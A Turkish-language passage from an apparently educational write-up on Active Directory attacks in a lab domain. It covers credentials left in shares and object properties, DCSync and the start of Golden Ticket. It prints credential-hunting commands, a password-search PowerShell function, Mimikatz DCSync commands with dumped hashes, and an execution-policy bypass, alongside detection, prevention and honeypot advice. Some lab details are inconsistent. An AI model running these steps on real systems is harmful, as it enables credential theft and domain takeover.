/i &quot;krysthal&quot; *.ps1<br># 2\4\4\Software\connect.ps1 bulundu</pre><pre>findstr /s /i &quot;krysthal&quot; *.ps1<br># 2\4\4\Software\connect.ps1:net use E: \\DC1\sharedScripts /user:krysthal\Administrator mvp123</pre><p>İşte burada <strong>domain’in yerleşik Administrator hesabının parolası</strong> (mvp123) açık metin olarak ortaya çıkıyor, bir net use komutu içinde. Doküman bu sonucun gerçek ortamlarda da <strong>nadir olmadığını</strong> vurguluyor: betik dosyalarında domain admin kimlik bilgilerini bulmak sık karşılaşılan bir durum.</p><p><strong>Önemli not:</strong> findstr komutunun bu parametrelerle çalıştırılması, <strong>son zamanlarda Windows Defender tarafından şüpheli davranış olarak algılanmaya</strong> başlandı.</p><h4>Önleme (Prevention)</h4><p><strong>1) Paylaşım izinlerini sıkılaştırma:</strong> Domain’deki <strong>her</strong> paylaşımın izinlerini gözden geçirip gevşek izinlerin olmadığından emin olun.</p><p><strong>2) Düzenli tarama:</strong> Kullanıcıların betiklerde veya dosyalarda ne bıraktığını teknik olarak tamamen kontrol etmek mümkün değil, bu yüzden <strong>haftalık</strong> gibi düzenli aralıklarla AD ortamını tarayarak yeni açılan paylaşımları veya mevcut paylaşımlardaki açığa çıkmış kimlik bilgilerini tespit etmek gerekir.</p><h4>Tespit (Detection)</h4><p><strong>1) Kullanıcı davranış analizi (UBA User Behavior Analysis):</strong></p><p>Keşfedilen kimlik bilgilerinin <strong>kötüye kullanılmasını</strong> tespit etmenin en iyi yolu, kullanıcıların giriş zamanını ve konumunu analiz etmektir. Yukarıdaki saldırıda bulunan Administrator hesabını ele alalım: eğer organizasyon <strong>PAW (Privileged Access Workstation)</strong> kullanıyorsa, ayrıcalıklı kullanıcıların <strong>yalnızca bu iş istasyonlarından</strong> kimlik doğrulaması yapması beklenir. PAW dışından gelen herhangi bir giriş denemesi alarm üretmelidir.</p><p>İzlenecek event ID’ler:</p><ul><li><strong>4624</strong> — Başarılı oturum açma</li><li><strong>4625</strong> — Başarısız oturum açma</li><li><strong>4768</strong> — Kerberos TGT istendi (Kerberos ile kimlik doğrulama yapılırsa)</li></ul><p>Lab ortamında, saldırgan Administrator hesabıyla giriş yaptığında Event ID 4624 üretiliyor — burada <strong>kaynak iş istasyonu</strong> (Workstation Name) ve <strong>kaynak IP</strong> (Source Network Address) alanları, normal davranıştan sapma olup olmadığını kontrol etmek için kritik.</p><p>Benzer şekilde, Kerberos ile kimlik doğrulama yapılırsa Event ID 4768 üretilir — burada da <strong>Client Address</strong> alanı, isteğin nereden geldiğini gösterir.</p><p><strong>2) Bire-çok (one-to-many) bağlantı tespiti:</strong></p><p>Invoke-ShareFinder çalıştırıldığında, bu araç domain&#39;deki <strong>her cihaza</strong> bağlanarak paylaşım listesi çeker. Bir iş istasyonunun aynı anda <strong>yüzlerce veya binlerce</strong> farklı cihaza bağlanması <strong>son derece anormaldir</strong> — bu tür bir trafik deseni, ağ izleme araçlarıyla (SIEM, NDR) kolayca tespit edilebilir.</p><h4>Honeypot (Tuzak Hesap)</h4><p>Bu saldırı, AD ortamında honeypot kullanıcı bırakmak için <strong>bir neden daha</strong> sunuyor. Strateji önceki bölümlerle aynı: <strong>yarı yetkili bir kullanıcı adı, yanlış bir parolayla.</strong> Saldırgan bu parolanın yanlış olduğunu ancak parolayı deneyerek anlayabilir — bu da alarm tetikler.</p><p><strong>İyi bir honeypot hesap kurulumu için kriterler:</strong></p><ol><li><strong>2+ yıl önce</strong> oluşturulmuş bir servis hesabı olmalı. Son parola değişikliği en az <strong>1 yıl önce</strong> olmalı.</li><li>Sahte parolayı içeren dosyanın <strong>son değiştirilme tarihi</strong>, hesabın <strong>son parola değişikliği tarihinden sonra</strong> olmalı. Bu çok kritik — çünkü aksi durumda saldırgan “parola dosyadan sonra değiştirilmiş, bu parola artık geçersiz” diye düşünüp denemez bile. Parola zaten yanlış olduğu için hesabın ele geçirilme riski yok.</li><li>Hesap <strong>hâlâ aktif</strong> olmalı (devre dışı bırakılmamış).</li><li>Kimlik bilgilerini içeren betik <strong>gerçekçi</strong> olmalı. Örneğin, MSSQL servis hesabı seçildiyse, dosyada bir <strong>bağlantı dizesi (connection string)</strong> içinde kimlik bilgilerinin açığa çıkması inandırıcı olur.</li></ol><p><strong>Beklenen alarm event’leri:</strong></p><p>Parola yanlış olduğu için çoğunlukla <strong>başarısız</strong> giriş denemeleri beklenir. Lab ortamında saldırgan svc-iis hesabıyla yanlış parolayla giriş denediğinde üç event üretiliyor:</p><ul><li><strong>Event ID 4625</strong> — Başarısız oturum açma. Event detaylarında svc-iis kullanıcı adı, kaynak iş istasyonu (WS001 — ele geçirilmiş makine) ve hata kodu görünür.</li><li><strong>Event ID 4771</strong> — Kerberos ön kimlik doğrulaması başarısız. Detaylarda Account Name: svc-iis, Client Address: ::ffff:172.16.18.4 (ele geçirilmiş cihaz), Failure Code: 0x18 (bu kod <strong>yanlış parola sağlandı</strong> anlamına gelir) ve Pre-Authentication Type: 2 alanları görünür.</li><li><strong>Event ID 4776</strong> — Bilgisayar kimlik bilgilerini doğrulamaya çalıştı. Detaylarda Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0, Logon Account: svc-iis ve Error Code: 0xC000006A (bu kod da <strong>yanlış parola</strong> anlamına gelir) alanları görünür.</li></ul><p><strong>Bu bölümün büyük resmi:</strong> Bu saldırı, önceki bölümlerin hiçbirine benzemiyor, ne kriptografik kırma (Kerberoasting/AS-REProasting), ne tasarım hatası (GPP), ne yapılandırma manipülasyonu (GPO). Bu tamamen <strong>insan hatası ve operasyonel disiplinsizlik</strong> kaynaklı bir zayıflık. Ve dokümanın belirttiği gibi, muhtemelen AD ortamlarında <strong>en yaygın bulunan</strong> sorun budur. Teknik karmaşıklığı düşük ama etkisi yıkıcı, çünkü bulunan kimlik bilgileri genellikle yüksek yetkili hesaplara ait oluyor.</p><h3>BÖLÜM 8: NESNE ÖZELLİKLERİNDEKİ KİMLİK BİLGİLERİ (CREDENTIALS IN OBJECT PROPERTIES)</h3><h4>Açıklama</h4><p>Active Directory’deki her nesne (kullanıcı, bilgisayar, grup vb.) birçok farklı <strong>özelliğe (property)</strong> sahiptir. Örneğin bir kullanıcı nesnesinde şu bilgiler saklanabilir:</p><ul><li>Hesap aktif mi?</li><li>Hesap ne zaman sona eriyor?</li><li>Son parola değişikliği ne zaman yapıldı?</li><li>Hesabın adı nedir?</li><li>Çalışanın ofis konumu ve telefon numarası</li></ul><p>Yöneticiler hesap oluştururken bu özellikleri doldurur. Geçmişte yaygın bir uygulama, kullanıcının (veya servis hesabının) parolasını <strong>Description</strong> (Açıklama) veya <strong>Info</strong> (Bilgi) alanlarına yazmaktı, yöneticiler bunları görmek için AD’de yönetici yetkisi gerektiğini <strong>yanlışlıkla düşünüyordu.</strong></p><p><strong>İşte kritik gerçek:</strong> Domain’deki <strong>her</strong> kullanıcı, bir nesnenin çoğu özelliğini (Description ve Info dahil) <strong>okuyabilir.</strong> Bu, AD’nin tasarımsal bir özelliğidir, kısıtlamak birçok uygulamayı bozar. Yani bir yönetici “Description” alanına “pass: mvp123” yazdığında, bunu domain’deki <strong>herkes</strong> görebilir.</p><h4>Saldırı (Attack)</h4><p>Basit bir PowerShell betiği ile tüm domain taranarak, Description veya Info alanlarında belirli anahtar kelimeler aranır. Doküman burada tam çalışan bir fonksiyon sunuyor:</p><p>powershell:</p><pre>Function SearchUserClearTextInformation<br>{<br>    Param (<br>        [Parameter(Mandatory=$true)]<br>        [Array] $Terms,</pre><pre>        [Parameter(Mandatory=$false)]<br>        [String] $Domain<br>    )</pre><pre>    if ([string]::IsNullOrEmpty($Domain)) {<br>        $dc = (Get-ADDomain).RIDMaster<br>    } else {<br>        $dc = (Get-ADDomain $Domain).RIDMaster<br>    }</pre><pre>    $list = @()</pre><pre>    foreach ($t in $Terms)<br>    {<br>        $list += &quot;(`$_.Description -like `&quot;*$t*`&quot;)&quot;<br>        $list += &quot;(`$_.Info -like `&quot;*$t*`&quot;)&quot;<br>    }</pre><pre>    Get-ADUser -Filter * -Server $dc -Properties `<br>    Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet |<br>        Where { Invoke-Expression ($list -join &#39; -OR &#39;) } |<br>        Select SamAccountName,Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet |<br>        fl<br>}</pre><p><strong>Bu betiğin yaptığı şey adım adım:</strong></p><ol><li>$Terms parametresiyle aranacak anahtar kelimeleri alır (örn: &quot;pass&quot;)</li><li>$Domain belirtilmezse mevcut domain&#39;in RID Master DC&#39;sini otomatik bulur</li><li>Her arama terimi için hem Description hem Info alanında eşleşme arar</li><li>Get-ADUser -Filter * ile domain&#39;deki <strong>tüm</strong> kullanıcıları çeker</li><li>Eşleşenleri, ilgili bilgileriyle birlikte (hesap adı, aktif mi, açıklama, parola yaşı vb.) listeler</li></ol><p><strong>Çalıştırıldığında:</strong></p><p>powershell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*eqEJF7ZDh701F_1QebXwYg.png" /></figure><p>mdr kullanıcısının Description alanında parola açık metin olarak duruyor: <strong>mvp123</strong>. Ayrıca PasswordNeverExpires: True, yani bu parola hiç sona ermeyecek şekilde ayarlanmış, muhtemelen yıllardan beri aynı.</p><p><strong>Ek görsel detay (sayfa 48):</strong> Active Directory Users and Computers (ADUC) ekran görüntüsünde, mdr kullanıcısının özellikler penceresinde Description alanında &quot;pass: mvp123&quot; yazısı açıkça görülüyor , yani bu bilgiyi sadece PowerShell ile değil, ADUC GUI&#39;sinden de herkes görebilir.</p><h4>Önleme (Prevention)</h4><p>Bu saldırıyı/yanlış yapılandırmayı önlemek için birden fazla seçenek var:</p><p><strong>1) Sürekli değerlendirme (continuous assessment):</strong> Nesne özelliklerinde saklanan kimlik bilgilerini tespit etmek için düzenli taramalar yapın. Yukarıdaki PowerShell betiğinin aynısı savunma amaçlı da kullanılabilir.</p><p><strong>2) Eğitim:</strong> Yüksek yetkili çalışanları (yöneticileri), nesne özelliklerine kimlik bilgisi saklamamaları konusunda eğitin.</p><p><strong>3) Otomasyon:</strong> Kullanıcı oluşturma sürecini mümkün olduğunca otomatikleştirin — böylece yöneticiler hesapları manuel olarak oluşturmaz ve Description alanına parola yazma riski ortadan kalkar. HR sistemleri ile entegre otomatik kullanıcı oluşturma, bu sorunu kökünden çözer.</p><h4>Tespit (Detection)</h4><p>Kullanıcı davranış analizi (User Behavior Baselining) yine en iyi tespit tekniğidir. Normal kullanıcı hesapları için bu biraz zor olabilir, ama <strong>yönetici/servis hesapları</strong> için davranışı anlamak ve baz çizgisi (baseline) oluşturmak daha kolaydır. Otomatik kullanıcı davranış izleme araçları (UEBA — User and Entity Behavior Analytics), anormal girişleri tespit etmede artan başarı göstermektedir.</p><p>Yukarıdaki saldırıda bulunan kimlik bilgilerinin güncel olduğunu varsayarsak, saldırgan bu parolayı kullandığında şu event’ler beklenir:</p><ul><li><strong>Event ID 4624</strong> — Başarılı oturum açma</li><li><strong>Event ID 4625</strong> — Başarısız oturum açma</li><li><strong>Event ID 4768</strong> — Kerberos TGT istendi</li></ul><p>Lab ortamında, mdr hesabıyla giriş yapıldığında Event ID 4768 üretiliyor — detaylarda Account Name: mdr, Client Address (isteğin geldiği IP) ve şifreleme türü görünüyor. Kullanıcıyı kaynak adresle korelasyonlamak, anormal aktiviteyi tespit etmenin anahtarı.</p><p><strong>Önemli bir kısıtlama:</strong> Bir kullanıcı nesnesi değiştirildiğinde üretilen <strong>Event ID 4738</strong>, değiştirilen <strong>spesifik özelliği göstermez</strong> ve özelliklerin yeni değerlerini de içermez. Bu yüzden, yöneticilerin nesne özelliklerine kimlik bilgisi ekleyip eklemediğini bu event üzerinden tespit etmek <strong>mümkün değildir.</strong> Bu, önleme ve eğitimin neden bu kadar kritik olduğunu vurgulayan önemli bir kısıtlama.</p><h4>Honeypot (Tuzak Hesap)</h4><p>Nesne özelliklerinde kimlik bilgisi saklama, <strong>özellikle olgunluk seviyesi düşük ortamlar için mükemmel bir honeypot tekniğidir.</strong> Mantık şu: eğer bir organizasyon temel siber hijyen konusunda zorlanıyorsa, AD ortamında bu tür sorunların (nesne özelliklerinde kimlik bilgisi) bulunması <strong>zaten beklenir/inandırıcıdır</strong> — bu da tuzağı daha gerçekçi yapar.</p><p><strong>Honeypot kullanıcı kurulum kriterleri:</strong></p><ol><li><strong>Parola/kimlik bilgisi </strong><strong>Description alanına yazılmalı</strong> — çünkü bu alan, herhangi bir saldırganın en kolay fark edeceği yerdir (Info alanı daha az kontrol edilir).</li><li><strong>Sağlanan parola sahte/yanlış olmalı</strong> — saldırgan deneyince başarısız olacak ve alarm tetiklenecek.</li><li><strong>Hesap aktif (enabled) olmalı ve yakın zamanda giriş kayıtları bulunmalı</strong> — devre dışı veya hiç kullanılmamış bir hesap şüphe çeker.</li><li><strong>Normal kullanıcı veya servis hesabı kullanılabilir, ama servis hesabı daha inandırıcıdır.</strong> Neden? Yöneticiler genellikle servis hesaplarını <strong>manuel</strong> oluşturur ve bu süreçte Description alanına parola yazmaya meyillidir. Buna karşılık, çalışan hesapları genellikle <strong>otomatik HR sistemleri</strong> tarafından oluşturulur (ve çalışan muhtemelen parolasını zaten değiştirmiştir).</li><li><strong>Son parola değişikliği 2+ yıl önce olmalı</strong> — bu, parolanın hâlâ geçerli olduğuna dair inandırıcılık sağlar. Saldırgan “2 yıldır değiştirilmemiş parola, muhtemelen hâlâ çalışıyor” diye düşünür.</li></ol><p><strong>Beklenen alarm event’leri:</strong></p><p>Parola yanlış olduğu için çoğunlukla <strong>başarısız</strong> giriş denemeleri beklenir. Lab ortamında saldırgan svc-iis hesabıyla yanlış parolayla giriş denediğinde üç event üretiliyor:</p><ul><li><strong>Event ID 4625</strong> — Başarısız oturum açma. Detaylarda: Account Name: svc-iis, Failure Reason: Unknown user name or bad password, Status: 0xC000006D, Sub Status: 0xC000006A (yanlış parola), Source Network Address: 172.16.18.20 (saldırganın/ele geçirilmiş makinenin IP&#39;si).</li><li><strong>Event ID 4771</strong> — Kerberos ön kimlik doğrulaması başarısız. Detaylarda: Account Name: svc-iis, Client Address: ::ffff:172.16.18.4, Failure Code: 0x18 (yanlış parola), Pre-Authentication Type: 2.</li><li><strong>Event ID 4776</strong> — Bilgisayar kimlik bilgilerini doğrulamaya çalıştı. Detaylarda: Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0, Logon Account: svc-iis, Error Code: 0xC000006A (yanlış parola).</li></ul><h4>Bu Bölümün 7. Bölümle (Credentials in Shares) Karşılaştırması</h4><pre>| Kriter                | Bölüm 7: Shares                                     | Bölüm 8: Object Properties                            |<br>|-----------------------|------------------------------------------------------|--------------------------------------------------------|<br>| Kimlik bilgisi nerede | Ağ paylaşımındaki dosyalarda (.bat, .ps1, .ini vb.)  | AD nesne özelliklerinde (Description, Info alanları)   |<br>| Kim görebilir         | Paylaşıma erişimi olan herkes                        | Domain&#39;deki HER kullanıcı (AD tasarımsal özelliği)     |<br>| Arama aracı           | findstr, SauronEye                                   | PowerShell (Get-ADUser + Description/Info filtresi)    |<br>| Neden oluşur          | Yönetici betiklere parola yazar                      | Yönetici hesap oluştururken Description&#39;a parola yazar |<br>| Önleme zorluğu        | Paylaşım izinleri sıkılaştırılabilir                 | Eğitim + otomasyon gerekir, teknik engel zor           |<br>| Event 4738 ile tespit | Uygulanamaz (dosya tabanlı)                          | Yetersiz — değiştirilen özelliği göstermez             |<br>| Honeypot stratejisi   | Yanlış parolalı servis hesabı + dosyada sahte parola | Yanlış parolalı servis hesabı + Description&#39;da sahte   |</pre><p><strong>Bu bölümün büyük resmi:</strong> 7. ve 8. bölümler birbirinin ikiz kardeşi — her ikisi de <strong>insan hatası kaynaklı kimlik bilgisi sızıntısı.</strong> Fark sadece “nerede saklıyor”: biri dosyalarda, diğeri AD nesne özelliklerinde. Savunma açısından en önemli çıkarım: <strong>Event ID 4738&#39;in spesifik özellik değişikliğini göstermemesi</strong> — bu, tespiti önlemeye göre çok daha zor yapıyor ve neden eğitim + otomasyonun kritik olduğunu vurguluyor.</p><h3>BÖLÜM 9: DCSync</h3><h4>Açıklama (Description)</h4><p>DCSync, bir saldırganın kendisini <strong>Domain Controller gibi göstererek</strong> (impersonate ederek), hedef bir Domain Controller ile <strong>replikasyon</strong> (eşleme) yapmasını ve bu sayede Active Directory’den <strong>parola hash’lerini çekmesini</strong> sağlayan bir saldırıdır.</p><p><strong>Replikasyon nedir?</strong> Birden fazla DC’nin olduğu ortamlarda, DC’ler birbirleriyle sürekli veri paylaşır — bir DC’de parola değişirse, diğerleri de bunu öğrenmeli. Bu normal bir AD operasyonudur. DCSync, tam olarak bu meşru süreci kötüye kullanır.</p><p>Saldırı hem bir <strong>kullanıcı hesabından</strong> hem de bir <strong>bilgisayar hesabından</strong> gerçekleştirilebilir — tek koşul, hesabın şu iki izne sahip olmasıdır:</p><ul><li><strong>Replicating Directory Changes</strong></li><li><strong>Replicating Directory Changes All</strong></li></ul><p>Bu iki izin birlikte, bir hesaba “DC gibi replikasyon yapma” yetkisi verir. Normalde sadece DC’ler bu izinlere sahiptir — ama yanlış yapılandırma veya saldırganın önceki bir aşamada bu izinleri devretmesi sonucu başka hesaplarda da bulunabilir.</p><h4>Saldırı (Attack)</h4><p>ortamında <strong>Kaan</strong> kullanıcısı kullanılıyor (parolası MDR123). Kaan&#39;nin izinleri kontrol edildiğinde, krysthal.local domain nesnesi üzerinde <strong>Replicating Directory Changes</strong> ve <strong>Replicating Directory Changes All</strong> yetkilerinin <strong>Allow</strong> (İzin Ver) olarak işaretlendiği görülüyor.</p><p><strong>Adım 1 — Kaan olarak yeni bir komut satırı başlatma:</strong></p><pre>C:\Users\sss\Downloads&gt; runas /user:krysthal\kaan cmd.exe<br>Enter the password for krysthal\kaan:<br>Attempting to start cmd.exe as user &quot;krysthal\kaan&quot; ...</pre><p>Bu komut çalıştırıldığında, görev çubuğunda yeni bir Command Prompt penceresi açılıyor — başta cmd.exe (running as krysthal\kaan) yazıyor. Bu, artık tüm komutların Kaan&#39;nin yetkileriyle çalışacağı anlamına gelir.</p><p><strong>Adım 2 — Mimikatz ile DCSync saldırısını gerçekleştirme:</strong></p><p>Yeşil olarak açılan yeni komut satırında Mimikatz çalıştırılıyor:</p><pre>C:\Mimikatz&gt; mimikatz.exe</pre><pre>mimikatz # lsadump::dcsync /domain:kaan.krysthal /user:Administrator</pre><ul><li>lsadump::dcsync → Mimikatz&#39;ın DCSync modülü</li><li>/domain:krysthal.local → hedef domain</li><li>/user:Administrator → hash&#39;ini çekmek istediğimiz kullanıcı</li></ul><p><strong>Çıktı — Hesap Bilgileri ve NTLM Hash:</strong></p><pre>[DC] &#39;krysthal.local&#39; will be the domain<br>[DC] &#39;DC2.krysthal.local&#39; will be the DC server<br>[DC] &#39;Administrator&#39; will be the user account<br>[rpc] Service  : ldap<br>[rpc] AuthnSvc : GSS_NEGOTIATE (9)</pre><pre>Object RDN           : Administrator</pre><pre>** SAM ACCOUNT **<br>SAM Username         : Administrator<br>Account Type         : 30000000 ( USER_OBJECT )<br>User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )<br>Password last change : 07/08/2026 11.24.13<br>Object Security ID   : S-1-5-21-1518138621-4282902758-752445584-500<br>Object Relative ID   : 500</pre><pre>Credentials:<br>  Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf</pre><p><strong>Çıktı — Ek Kriptografik Anahtarlar:</strong></p><pre>Supplemental Credentials:<br>* Primary:Kerberos-Newer-Keys *<br>    Default Salt : WIN-FM93RI8QOKQAdministrator<br>    Default Iterations : 4096<br>    Credentials<br>      aes256_hmac (4096) : 1c4197df604e4da0ac46164b30e431405d23128fb37514595555cca76583cfd3<br>      aes128_hmac (4096) : 4667ae9266d48c01956ab9c869e4370f<br>      des_cbc_md5 (4096) : d9b53b1f6d7c45a8</pre><p><strong>Ne elde ettik?</strong></p><ul><li><strong>NTLM hash:</strong> fcdc65703dd2b0bd789977f1f3eeaecf — Administrator hesabının parola hash&#39;i. Parolayı bilmeden bile bu hash ile <strong>Pass-the-Hash</strong> yaparak herhangi bir DC&#39;ye doğrudan kimlik doğrulaması yapılabilir.</li><li><strong>AES-256 anahtarı:</strong> Kerberos biletleri oluşturmak için kullanılabilir (Golden Ticket saldırısında işe yarar).</li><li><strong>AES-128 anahtarı</strong> ve <strong>DES anahtarı</strong> da elde edildi.</li></ul><p><strong>Ek not:</strong> /user:Administrator yerine <strong>/all</strong> parametresi kullanılırsa, <strong>tüm AD ortamındaki her hesabın</strong> hash&#39;i tek seferde çekilir. Bu, saldırganın domain&#39;deki her kullanıcının kimlik bilgilerine sahip olması demektir — tam bir domain ele geçirme.</p><h4>Önleme (Prevention)</h4><p>DCSync’in kötüye kullandığı şey, AD ortamlarında <strong>her zaman gerçekleşen normal bir operasyondur</strong> (DC’ler arası replikasyon). Bu yüzden DCSync’i doğrudan “kutudan çıktığı haliyle” engellemek <strong>mümkün değildir.</strong></p><p><strong>Tek önleme tekniği:</strong> <strong>RPC Firewall</strong> gibi üçüncü parti bir ürün kullanmak. RPC Firewall, belirli RPC çağrılarını çok detaylı düzeyde (granüler) engelleyebilir veya izin verebilir. Örneğin: replikasyon isteklerinin <strong>yalnızca Domain Controller’lardan</strong> gelmesine izin ver, diğer tüm kaynaklardan gelen replikasyon isteklerini engelle.</p><p><strong>Bu neden diğer bölümlerden farklı?</strong> Önceki tüm bölümlerde “izinleri sıkılaştır, parolayı güçlendir” gibi yerleşik (built-in) önlemler vardı. DCSync’te ise yerleşik bir önleme mekanizması <strong>yok</strong> — bu da bu saldırıyı özellikle tehlikeli yapıyor.</p><h4>Tespit (Detection)</h4><p>DCSync’i tespit etmek <strong>kolaydır</strong> çünkü her Domain Controller replikasyonu <strong>Event ID 4662</strong> üretir. Bu event’i izleyip, başlatan hesabın bir Domain Controller olup olmadığını kontrol ederek anormal istekleri hemen yakalayabilirsiniz.</p><p><strong>Lab’daki Event ID 4662 detayları:</strong></p><pre>Event 4662, Microsoft Windows security auditing.</pre><pre>Subject:<br>  Security ID:    KAAN\Yeşil<br>  Account Name:   yeşil          ← Domain Controller DEĞİL! Kırmızı bayrak!<br>  Account Domain: KAAN<br>  Logon ID:       0x1EB0C4C</pre><pre>Object:<br>  Object Server:  DS<br>  Object Type:    domainDNS<br>  Object Name:    DC=krysthal,DC=local</pre><pre>Operation:<br>  Operation Type: Object Access<br>  Accesses:       Control Access<br>  Access Mask:    0x100<br>  Properties:     Control Access<br>                  {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}<br>                  domainDNS</pre><p><strong>Kritik tespit noktası:</strong> Account Name: yeşil — bu bir kullanıcı hesabı, Domain Controller değil. Normal replikasyonda burada bir DC&#39;nin makine hesabı (örneğin DC1$) görünmesi gerekir. Bir kullanıcı hesabının replikasyon yapması <strong>derhal alarm tetiklemelidir.</strong></p><p><strong>Yanlış pozitiflerden kaçınmak için iki kural:</strong></p><ol><li><strong>GUID kontrolü:</strong> Event’te şu iki GUID’den birinin (veya her ikisinin) bulunduğundan emin olun:</li></ol><ul><li>1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 → <strong>Replicating Directory Changes</strong> iznini temsil eder</li><li>1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 → <strong>Replicating Directory Changes All</strong> iznini temsil eder</li><li>Bu GUID’ler event’in Properties alanında görünür. Bunların varlığı, bunun gerçek bir replikasyon isteği olduğunu doğrular.</li></ul><ol><li><strong>Meşru hesapların beyaz listeye alınması:</strong> Bazı hizmetler meşru nedenlerle sürekli replikasyon yapar — en yaygın örnek <strong>Azure AD Connect</strong>. Bu hizmet, DC’leri sürekli replike ederek elde ettiği parola hash’lerini Azure AD’ye gönderir. Bu hesabı beyaz listeye alarak yanlış pozitif üretmesini engelleyin.</li></ol><h4>Honeypot</h4><p>Bu bölümde <strong>ayrı bir Honeypot alt başlığı bulunmuyor.</strong> Tespit mekanizmasının kendisi zaten çok güçlü — Event ID 4662 + hesap adı kontrolü neredeyse sıfır yanlış pozitifle çalışır (beyaz liste doğru yapılandırıldığında).</p><h4>Özet Tablosu</h4><p>Kriter DCSync Saldırı etkisi Tüm domain’deki HER hesabın parola hash’i çekilebilir Gerekli izinler Replicating Directory Changes + Changes All Kullanılan araç Mimikatz (lsadump::dcsync) Önleme Yerleşik yok — sadece RPC Firewall (3. parti) Tespit Event ID 4662 — kolay ve güvenilir Yanlış pozitif riski Düşük (GUID filtresi + beyaz liste ile) Honeypot Ayrı alt başlık yok, tespit zaten çok güçlü Saldırı sonrası etki Pass-the-Hash, Golden Ticket, tam domain ele geçirme</p><h3>BÖLÜM 10: GOLDEN TICKET</h3><h4>Açıklama (Description)</h4><p>Kerberos Golden Ticket, saldırganın domain’deki <strong>herhangi bir kullanıcı için sahte TGT bileti oluşturmasını</strong> sağlayan bir saldırıdır, yani saldırgan kendini <strong>Domain Controller gibi davranır.</strong></p><p>Bunu anlamak için 1. bölümden hatırla: Domain oluşturulduğunda <strong>krbtgt</strong> adlı benzersiz bir hesap otomatik olarak yaratılır. Bu hesap devre dışıdır, silinemez, yeniden adlandırılamaz ve etkinleştirilemez. Domain Controller&#39;ın KDC servisi, <strong>tüm Kerberos biletlerini imzalamak için</strong> krbtgt hesabının parola hash&#39;inden türetilmiş bir anahtar kullanır. Bu hash, tüm domain&#39;deki <strong>en güvenilir nesne</strong>dir — çünkü ortamdaki tüm nesneler, domain tarafından verilen Kerberos biletlerinin geçerliliğini bu hash ile doğrular.</p><p><strong>Sonuç:</strong> krbtgt hesabının parola hash&#39;ine sahip olan <strong>herkes</strong>, geçerli Kerberos TGT&#39;leri oluşturabilir. krbtgt bu biletleri imzaladığı için, sahte (forged) TGT&#39;ler ortamda <strong>geçerli bilet</strong> olarak kabul edilir. Geçmişte, <strong>var olmayan kullanıcılar</strong> için bile bilet oluşturmak ve onlara istedikleri yetkileri atamak mümkündü (Windows 2019&#39;da bu engellenmiştir).</p><p><strong>Golden Ticket saldırısı ayrıca şunu da sağlar:</strong> Aynı forest içindeki <strong>herhangi bir alt domain’den (child domain) üst domain’e (parent domain)</strong> yetki yükseltme yapılabilir. Yani bir test domain’ini ele geçiren saldırgan, aynı forest’taki production domain’ine yükselme yapabilir — çünkü <strong>domain, güvenlik sınırı (security boundary) değildir; forest güvenlik sınırıdır.</strong></p><p><strong>Kritik not:</strong> Bu saldırı, saldırganın zaten <strong>Domain Admin veya benzer yüksek yetkileri elde ettikten sonra</strong> kullandığı bir <strong>kalıcılık (persistence)</strong> tekniğidir. İlk erişim aracı değil, elde edilen erişimi <strong>koruma</strong> aracıdır.</p><h4>Saldırı (Attack)</h4><p>Golden Ticket oluşturmak için Mimikatz’a şu parametreler gerekiyor:</p><ul><li>/domain — Domain&#39;in adı (örn: krysthal.local)</li><li>/sid — Domain&#39;in SID değeri</li><li>/rc4 — krbtgt hesabının NTLM parola hash&#39;i</li><li>/user — Biletin oluşturulacağı kullanıcı adı (örn: Administrator)</li><li>/id — Kullanıcının RID&#39;si (Relative ID — SID&#39;in son kısmı, örn: Administrator için 500)</li></ul><p><strong>Ek parametreler (ileri düzey saldırganlar için):</strong> Varsayılan olarak Mimikatz, <strong>10 yıllık</strong> ömürlü bilet oluşturur, bu EDR/SIEM çözümleri tarafından çok kolay tespit edilir. Bu yüzden gelişmiş tehdit aktörleri şu parametreleri de belirtir:</p><ul><li>/renewmax — Biletin yenilenebileceği maksimum gün sayısı</li><li>/endin — Biletin sona erme süresi</li></ul><p><strong>Adım 1 — </strong><strong>krbtgt hash&#39;ini elde etme (DCSync ile):</strong></p><p>Önceki bölümdeki DCSync saldırısı kullanılarak krbtgt hesabının hash&#39;i çekiliyor:</p><pre>C:\Mimikatz&gt; mimikatz.exe</pre><pre>mimikatz # lsadump::dcsync /domain:krysthal.local /user:krbtgt</pre><p>Çıktı:</p><pre>[DC] &#39;krysthal.local&#39; will be the domain<br>[DC] &#39;DC1.krysthal.local&#39; will be the DC server<br>[DC] &#39;krbtgt&#39; will be the user account</pre><pre>Object RDN              : krbtgt</pre><pre>** SAM ACCOUNT **<br>SAM Username            : krbtgt<br>Account Type            : 30000000 ( USER_OBJECT )<br>User Account Control    : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )<br>Password last change    : 07/08/2026 11.26.54<br>Object Security ID      : S-1-5-21-1518138621-4282902758-752445584-502<br>Object Relative ID      : 502</pre><pre>Credentials:<br>  Hash NTLM: db0d0630064747072a7da3f7c3b4069e</pre><pre>Supplemental Credentials:<br>* Primary:Kerberos-Newer-Keys *<br>    Default Salt : KRYSTHAL.LOCALkrbtgt<br>    Credentials<br>      aes256_hmac (4096) : 1335dd3a999cacbae9164555c30f71c568fbaf9c3aa83c4563d25363523d1efc<br>      aes128_hmac (4096) : 8ca6bbd37b3bfb692a3cfaf68c579e64<br>      des_cbc_md5 (4096) : 580229010b15b52f</pre><p>!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*4LUm7nZPU_4dAv_ek9LSWw.png" /></figure><p><strong>Adım 2 — Domain SID’ini elde etme (PowerView ile):</strong></p><p>powershell</p><pre>PS C:\Users\infa\Downloads&gt; powershell -exec bypass<br>PS C:\Users\infa\Downloads&gt; . .\PowerView.ps1<br>PS C:\Users\infa\Downloads&gt; Get-DomainSID<br>S-1-5-21-1518138621-4282902758-752445584</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*i9itmlSq85rsFp6TmCu5UQ.png" /></figure><p><strong>Adım 3 — Golden Ticket oluşturma ve oturuma enjekte etme:</strong></p><p>Artık tüm gerekli bilgiler mevcut. 